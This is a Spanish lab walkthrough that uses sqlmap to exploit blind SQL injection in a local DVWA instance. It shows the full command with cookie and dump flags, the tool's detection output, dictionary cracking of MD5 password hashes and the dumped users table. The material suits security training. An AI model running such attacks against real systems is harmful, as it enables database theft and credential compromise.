DVWA
DVWA
Damn Vulnerable Web Application (DVWA) es una aplicación web PHP/MariaDB extremadamente vulnerable. Su objetivo principal es ayudar a los profesionales de la seguridad a poner a prueba sus habilidades y herramientas en un entorno legal, ayudar a los desarrolladores web a comprender mejor los procesos de seguridad de aplicaciones web y ayudar tanto a estudiantes como a profesores a aprender sobre seguridad de aplicaciones web en un entorno de clase controlado.
Más info sobre DVWA en Hacktools/#vulnerable-machines Ahora vamos a realizar un ejemplo de injección sql_blind con la herramienta sqlmap, para que todo sea automático he puesto el flag –batch Para el ejercicio he montado el docker con el archivo docker del proyecto de DVWA.
1
pablo☠office sqlmap$ ./sqlmap.py --url "http://192.168.2.125:8090/vulnerabilities/sqli_blind?id=1&Submit=Submit" --cookie="PHPSESSID=fl7f8c1lva3pup4adt7djg46q1;security=low" --data="id=1&Submit=Submit" -p id --risk 3 --level 5 --dump --batch
La seguridad está en “low” y la cookie podemos copiarla del navegador. Al parecer el parámetro id supone una entrada no sanitizada y permite este tipo de inyección SQL que un adversario puede utilizar para extraer los datos de la base de datos. sqlmap incluye una opción que le permite identificar y crackear passwords en md5 e incluye su propio diccionario.
Aquí es cuando Sqlmap Hacktools/#sql-injection(descubre que el parámetro id parece inyectable usando la técnica de boolean-based blind
1
2
3
4
[21:49:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:49:58] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="User ID exists in the database.")
[21:49:59] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
El proceso continua e incluso se consiguen las passwords de los usuarios.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[21:51:04] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/home/pablo/pentest/web/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[21:51:04] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[21:51:04] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[21:51:04] [INFO] starting 4 processes
[21:51:07] [INFO] cracked password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
[21:51:09] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[21:51:13] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
[21:51:14] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
Database: dvwa
Table: users
[5 entries]
+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
| user_id | user | avatar | password | last_name | first_name | last_login | failed_login |
+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
| 3 | 1337 | /hackable/users/1337.jpg | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2025-04-02 18:20:58 | 0 |
| 1 | admin | /hackable/users/admin.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin | admin | 2025-04-02 18:20:58 | 0 |
| 2 | gordonb | /hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon | 2025-04-02 18:20:58 | 0 |
| 4 | pablo | /hackable/users/pablo.jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo | 2025-04-02 18:20:58 | 0 |
| 5 | smithy | /hackable/users/smithy.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob | 2025-04-02 18:20:58 | 0 |
+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
[21:51:20] [INFO] table 'dvwa.users' dumped to CSV file '/home/pablo/.local/share/sqlmap/output/192.168.2.125/dump/dvwa/users.csv'
Pues ya estaría. Te has pasado el ejercicio con un solo comando. Happy hacking!!!.